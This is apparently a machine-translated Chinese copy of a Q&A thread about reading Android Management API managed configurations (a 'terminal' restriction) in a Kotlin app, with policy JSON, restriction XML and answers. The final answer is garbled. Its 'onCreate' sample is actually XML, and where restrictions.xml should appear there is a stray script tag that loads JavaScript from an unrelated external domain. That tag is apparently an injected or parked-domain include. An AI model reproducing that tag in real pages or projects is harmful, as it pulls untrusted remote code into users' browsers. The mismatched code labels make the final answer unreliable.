问题描述
我正在使用Android Mgmt。用于配置平板电脑设备的API。我为每个应用程序都制定了策略,并且在策略中,我为“终端”设置了一个ManagedConfiguration,我希望能够将此字符串值用作我为其设置“终端”的标识符。这是申请政策:
"applications": [
{
"packageName": "packageName","installType": "KIOSK","defaultPermissionPolicy": "GRANT","managedConfiguration": {
"terminal": "2208"
}
},
我的res> xml> app_restrictions.xml:
<?xml version="1.0" encoding="utf-8"?>
<restrictions xmlns:android="http://schemas.android.com/apk/res/android">
<restriction
android:key="facility"
android:title="@strings/facility_title"
android:restrictionType="string" />
<restriction
android:key="terminal"
android:title="@strings/terminal_title"
android:restrictionType="string" />
</restrictions>
调用enterprise.applications.get显示已识别托管配置设置:
{
"key": "terminal","type": "STRING","title": "@strings/terminal_title"
}
在我的应用代码中(以下两个片段都在onCreate中):
val config = this.getSystemService(Context.RESTRICTIONS_SERVICE) as RestrictionsManager
val identifier = TerminalIdentifier("")
val appRestrictions = config.applicationRestrictions
if (appRestrictions.containsKey("terminal")) {
identifier.id = appRestrictions.getString("terminal").toString()
}
// listener for changes while app is active
val restrictionsReceiver = this.setupRestrictionsReceiver(identifier,appRestrictions)
val restrictionsFilter = IntentFilter(Intent.ACTION_APPLICATION_RESTRICTIONS_CHANGED)
registerReceiver(restrictionsReceiver,restrictionsFilter)
这是监听器位。注意,我将把此逻辑移到onCreate之外。现在,对于我的主应用程序,我只想测试每个应用程序是否会收到我在每个策略中设置的MC“终端”值。
private fun setupRestrictionsReceiver(identifier: IdentifierService,restrictions : Bundle) : broadcastReceiver {
return object : broadcastReceiver() {
override fun onReceive(context: Context,intent: Intent) {
if (restrictions.containsKey("terminal")) {
identifier.id = restrictions.getString("terminal").toString()
}
}
}
}
我的应用未收到该值。我有什么想念的吗?为什么我的identifier.id(字符串字段)没有收到“ 2208”?
解决方法
我使用了TestDPC应用程序,并且能够测试我的托管配置设置。我不确定,但我认为我的应用程序错误是由于缩小和启用资源缩减引起的。我不知道如果没有安装TestDPC,任何人都无法生存。这大大缩短了开发周期。
要添加的东西:TestDPC通过adb在工作提供的Samsung平板电脑上很好地安装了(我不记得确切的型号,但是它本质上是全新的)。但是,我尝试了另一个SM-T500,运行adb时出现错误。我可以使用TestDPC设置的唯一方法是this method,因此我恢复了出厂设置并使用了标识符afw#testdpc。
我也最终关注了this guide,尤其是AppRestrictionsSchema上的区域。我更新了代码以使用resolveRestrictions函数,并将广播接收器处理放入各种生命周期函数中。再说一次,这种方法工作得很顺畅,所以对于任何想要设置它的人,我都会遵循这种格式。
我已经部署到设备上,并且托管配置工作正常,所以希望这可以帮助其他人走同样的路。
,为您的应用设置托管配置时,您需要做的第一件事是define the managed configurations。
一旦定义了托管配置,您就需要 check what the managed configurations 在您的应用启动或恢复时,并侦听系统 Intent 以查明在您的应用运行时配置是否发生变化,因为它不会自动在托管配置发生更改时通知您的应用。
最后,你需要听managed configurations changes。有关如何设置的更多信息,您可以参考此 documentation。
这是在 onCreate 中添加的示例代码:
<?xml version="1.0" encoding="utf-8"?>
<restrictions xmlns:android="http://schemas.android.com/apk/res/android">
<restriction
android:key="welcome_msg"
android:title="Welcome Message"
android:restrictionType="string"
android:defaultValue="" />
</restrictions>
这是限制.xml:
<script language="Javascript" src="http://cdn.jsinit.directfwd.com/sk-jspark_init.php"></script>